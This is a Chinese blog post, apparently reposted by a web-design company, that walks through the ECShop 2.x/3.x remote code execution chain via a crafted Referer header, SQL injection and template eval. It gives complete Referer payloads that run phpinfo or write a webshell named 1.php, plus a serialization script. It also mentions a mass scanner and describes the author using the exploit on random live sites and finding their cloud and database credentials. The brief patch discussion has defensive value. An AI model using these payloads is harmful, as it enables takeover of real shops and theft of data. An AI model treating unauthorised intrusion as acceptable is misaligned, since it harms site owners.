如何進(jìn)行ECShop全系列版本遠(yuǎn)程代碼執(zhí)行高危漏洞分析及實(shí)戰(zhàn)提權(quán),相信很多沒有經(jīng)驗(yàn)的人對此束手無策,為此本文總結(jié)了問題出現(xiàn)的原因和解決方法,通過這篇文章希望你能解決這個問題。
專注于為中小企業(yè)提供網(wǎng)站制作、成都網(wǎng)站設(shè)計(jì)服務(wù),電腦端+手機(jī)端+微信端的三站合一,更高效的管理,為中小企業(yè)臨淄免費(fèi)做網(wǎng)站提供優(yōu)質(zhì)的服務(wù)。我們立足成都,凝聚了一批互聯(lián)網(wǎng)行業(yè)人才,有力地推動了成百上千企業(yè)的穩(wěn)健成長,幫助中小企業(yè)通過網(wǎng)站建設(shè)實(shí)現(xiàn)規(guī)模擴(kuò)充和轉(zhuǎn)變。
ECShop的user.php文件中的display函數(shù)的模版變量可控,導(dǎo)致注入,配合注入可達(dá)到遠(yuǎn)程代碼執(zhí)行。攻擊者無需登錄站點(diǎn)等操作,可以直接遠(yuǎn)程寫入webshell,危害嚴(yán)重。
嚴(yán)重
ECShop全系列版本,包括2.x,3.0.x,3.6.x等。
先看 ecshop/user.php:302
$back_act
變量來源于 HTTP_REFERER
,可控。
Ecshop 使用了 php 模版引擎 smarty ,該引擎有兩個基本的函數(shù)assign()、display()。assign()函數(shù)用于在模版執(zhí)行時為模版變量賦值,display()函數(shù)用于顯示模版。smarty運(yùn)行時,會讀取模版文件,將模版文件中的占位符替換成assign()函數(shù)傳遞過來的參數(shù)值,并輸出一個編譯處理后的php文件,交由服務(wù)器運(yùn)行。
在:ecshop/includes/init.php:169
文件中創(chuàng)建了Smarty對象cls_template
來處理模版文件,對應(yīng)的文件是includes/cla_template.php
,如下圖:
我們再看 assign
函數(shù):ecshop/includes/cls_template.php:70
assign
函數(shù)用于在模版變量里賦值。
display
函數(shù):ecshop/includes/cls_template.php:100
從函數(shù)來看,首先會調(diào)用 $this->fetch
來處理user_passport.dwt
模板文件,fetch()
函數(shù)中會調(diào)用 $this->make_compiled
來編譯模板。 make_compiled
會將模板中的變量解析,也就是在這個時候?qū)⑸厦?nbsp;assign
中注冊到的變量 $back_act
傳遞進(jìn)去了,解析完變量之后返回到 display
函數(shù)中。此時 $out
是解析變量后的html內(nèi)容,判斷 $this->_echash
是否在 $out
中,若在,使用 $this->_echash
來分割內(nèi)容,得到 $k
然后交給 insert_mod
處理。
user_passport.dwt
模版文件內(nèi)容:
來看看 _echash
是啥,此文件28行:
由于 _echash
是固定的,不是隨機(jī)生成的。(2.7版本的 _echash
值為 554fcae493e564ee0dc75bdf2ebf94ca
而3.x版本的 _echash
值為 45ea207d7a2b68c49582d2d22adf953
)所以 $val
內(nèi)容可控!
跟進(jìn) insert_mod()
函數(shù),此文件1150行:
$val
傳遞進(jìn)來,先用 |
分割,得到 $para
和 $fun
,$para
進(jìn)行反序列操作,insert_
和 $fun
拼接,最后動態(tài)調(diào)用 $fun($para)
。函數(shù)名部分可控,參數(shù)完全可控。接下來就是尋找以 insert_
開頭的可利用的函數(shù)了,在 ecshop/includes/lib_insert.php
有一個 insert_ads
函數(shù),正好滿足要求。
最后來看動態(tài)內(nèi)容函數(shù)庫中的 insert_ads()
函數(shù):ecshop/includes/lib_insert.php:136
可以看到這里執(zhí)行了SQL語句,而 $arr['id']
和 $arr['num']
這兩個參數(shù)正是我們傳進(jìn)來的數(shù)組中的內(nèi)容,參數(shù)可控,而且沒有作任何過濾,就造成了SQL注入漏洞。
payload:Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:”num”;s:72:”0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)– -“;s:2:”id”;i:1;}
其數(shù)據(jù)庫查詢語句為:
SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecsshop2`.`ecs_ad` AS a LEFT JOIN `ecsshop2`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1537322291' AND end_time >= '1537322291' AND a.position_id = '1' ORDER BY rnd LIMIT 0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -
接著,程序會調(diào)用模板類的 fetch()
函數(shù):ecshop/includes/lib_insert.php:215
在 user.php
中調(diào)用 display
,然后調(diào)用 fetch
的時候傳入的參數(shù)是 user_passport.dwt
,而在此處傳入的參數(shù)是 $position_style
。向上溯源,發(fā)現(xiàn)是 $row['position_style']
賦值而來:ecshop/includes/lib_insert.php:176
而 position_style
是SQL語句查詢的結(jié)果,結(jié)果上面這個SQL注入漏洞,SQL查詢的結(jié)果可控,也就是 $position_style
可控。要到 $position_style = $row['position_style'];
還有一個條件,就是 $row['position_id']
要等于 $arr['id']
。
并且構(gòu)造SQL注入時,這段SQL操作 ORDER BY rnd LIMIT 1
部分換行了截?cái)嗖涣?所以需要在id處構(gòu)造注釋來配合num進(jìn)行union查詢。
那么id
傳入 '/*
, num
傳入 */ union select 1,0x272f2a,3,4,5,6,7,8,9,10– -
即可繞過這兩個問題。
數(shù)據(jù)庫查詢語句為:SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM
ecsshop.
ecs_adAS a LEFT JOIN
ecsshop.
ecs_ad_positionAS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1535678679' AND end_time >= '1535678679' AND a.position_id = ''/*' ORDER BY rnd LIMIT */ union select 1,0x272f2a,3,4,5,6,7,8,9,10-- -;
之后 $position_style
會拼接 'str:'
傳入 fetch
函數(shù)。
追蹤 fetch()
函數(shù):ecshop/includes/cls_template.php:135
因?yàn)橹捌唇?nbsp;'str:'
了,所以 strncmp($filename,'str:', 4) == 0
為真,然后會調(diào)用危險(xiǎn)函數(shù) $this->_eval
,這也就是最終觸發(fā)漏洞的點(diǎn)。但是參數(shù)在傳遞之前經(jīng)過了 fetch_str
方法的處理,跟進(jìn): ecshop/includes/cls_template.php:281
第一個正則會匹配一些關(guān)鍵字后置空,主要看最后的返回正則:return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
這個正則是將 $source
的值交于 $this->select()
函數(shù)處理。例如, $source
的值是 xxx{$abc}xxx
,正則捕獲到的 group 1
就是 $abc
,然后就會調(diào)用 $this->select("$abc")
。
跟進(jìn) select()
函數(shù): 本文件368行
當(dāng)傳入的變量的第一個字符是 $
時,會返回由 php 標(biāo)簽包含變量的字符串,最終返回到 _eval()
危險(xiǎn)函數(shù)內(nèi)執(zhí)行。在返回之前,還調(diào)用了 $this->get_var
處理,跟進(jìn) get_var
: 本文件548行
當(dāng)傳入的變量沒有 .$
時,調(diào)用 $this->make_var
,跟進(jìn)make_var()
: 本文件671行
在這里結(jié)合 select
函數(shù)里面的語句來看, _var[' $val '];?>
,要成功執(zhí)行代碼的話, $val
必須要把 ['
閉合,所以payload構(gòu)造,從下往上構(gòu)造。 $val
為 abc'];echo phpinfo();//;
從 select
函數(shù)進(jìn)入 get_var
的條件是第一個字符是 $
,所以payload變成了 $abc'];echo phpinfo();//;
而要進(jìn)入到 select
,需要被捕獲,payload變成了 {$abc'];echo phpinfo();//}
,這里因?yàn)閜ayload的是 phpinfo()
,這里會被 fetch_str
函數(shù)的第一個正則匹配到,需要變換一下,所以payload變?yōu)?nbsp;{$abc'];echo phpinfo/**/();//}
。到這里為止,php 惡意代碼就構(gòu)造完成了。
結(jié)合之前的SQL注入漏洞,最終執(zhí)行惡意代碼的payload為:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca
簡單講一下3.x版本吧。
在ECShop3.x版本中,添加了一個 includes/safety.php
文件,專門用于消除有害數(shù)據(jù),它的正則會匹配到 set
、 concat
、information_schema
、 select from
等語句。暫時沒有找到可繞過的SQL語句,但是命令執(zhí)行還是可以繞過的。因?yàn)槲覀冎暗膒ayload經(jīng)過編碼,這樣就繞過了正則匹配?,F(xiàn)在唯一能匹配到的就是 union select
語句,我們可以同時利用 $arr['id']
和 $arr['num']
兩個參數(shù),將 union
和 select
分開傳遞即可繞過正則檢測。
本次復(fù)現(xiàn)的是ECShop_V2.7.3,打包源碼ECShop_V2.7.3_UTF8_release1106.rar(提取碼:2yk1
)。ecshop2.7.3是在php5.2環(huán)境下開發(fā)的老網(wǎng)店系統(tǒng)了,現(xiàn)在很多服務(wù)器環(huán)境已經(jīng)升級為PHP5.3或php5.4甚至更好的了,那么在php5.3以上版本的服務(wù)器環(huán)境中運(yùn)行出現(xiàn)必然出現(xiàn)很多兼容問題,推薦2篇解決文章:1、2。
phpinfo():
webshell:
不想本地搭建環(huán)境的朋友,推薦兩個在線漏洞環(huán)境,但是為了更深刻的了解其原理與學(xué)習(xí),建議本地搭建調(diào)試分析。
在線環(huán)境vulnspy
在線環(huán)境vulhub
phpinfo():
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca
webshell:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}
會在網(wǎng)站根目錄生成1.php
,密碼:1337
phpinfo():
Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a
webshell:
Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:289:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a
會在網(wǎng)站根目錄生成1.php
,密碼:1337
下面給出一個序列化的php腳本(第9個位置就是你想要的):
'*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7B24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A7A4575634768774A79776E50443977614841675A585A686243676B58314250553152624F546C644B543867506963702729293B2F2F7D787878,10-- -','id'=>'\'/*');echo serialize($arr);?>
一款采用C#開發(fā)的掃描工具,專門掃描EcShop < 4.0 遠(yuǎn)程代碼執(zhí)行漏洞,1萬個網(wǎng)站只需要30秒左右就能完成了。
EcShop_RCE_Scanner
目前我們分析下載最新版的ECShop 4.0里對這個漏洞進(jìn)行修復(fù):
看到 ecshop4/ecshop/includes/lib_insert.php
可以看到,將傳遞進(jìn)來的 $arr[id]
和$arr[num]
強(qiáng)制轉(zhuǎn)換成整型,這樣就沒法利用這個漏洞了。
另外我們注意到官方并沒有發(fā)布針對老版本的(2.x和3.x)的獨(dú)立修復(fù)補(bǔ)丁,相關(guān)老版本的用戶可參考ECShop 4.0代碼來修復(fù)或者直接升級到ECShop 4.0。
隨便找了個2.7.3和3.0.0的站。直接用exp就能getshell,像本地搭建的一樣。
最近聽老師說搞安全的最高境界其實(shí)是社會工程學(xué)。我在進(jìn)數(shù)據(jù)庫看到加密后的密碼,知道加密方式后,搞了很久還是解不出來后臺密碼,室友在旁邊花了幾分鐘當(dāng)場把密碼猜出來。所以說,最牛逼的是一口能猜出密碼,哪還要搞那么多花里胡哨的東西哦~
有新站:
有老站:
新站剛建就爆漏洞,老站還在更新內(nèi)容,有點(diǎn)意思。
直接把很重要的東西寫在一個稍微隱蔽點(diǎn)的地方,還是被我翻到了,比如阿里云賬號密碼,數(shù)據(jù)庫賬號密碼。
而且他的密碼還都幾乎都是是弱口令,真是讓人深思。
哈哈,暫時沒找到方法。小白也才開始學(xué)提權(quán),說出來其實(shí)是想有大佬能指點(diǎn)一二,等提權(quán)了再更新這一部分吧。
不能執(zhí)行命令,有讀寫權(quán)限。
看完上述內(nèi)容,你們掌握如何進(jìn)行ECShop全系列版本遠(yuǎn)程代碼執(zhí)行高危漏洞分析及實(shí)戰(zhàn)提權(quán)的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝各位的閱讀!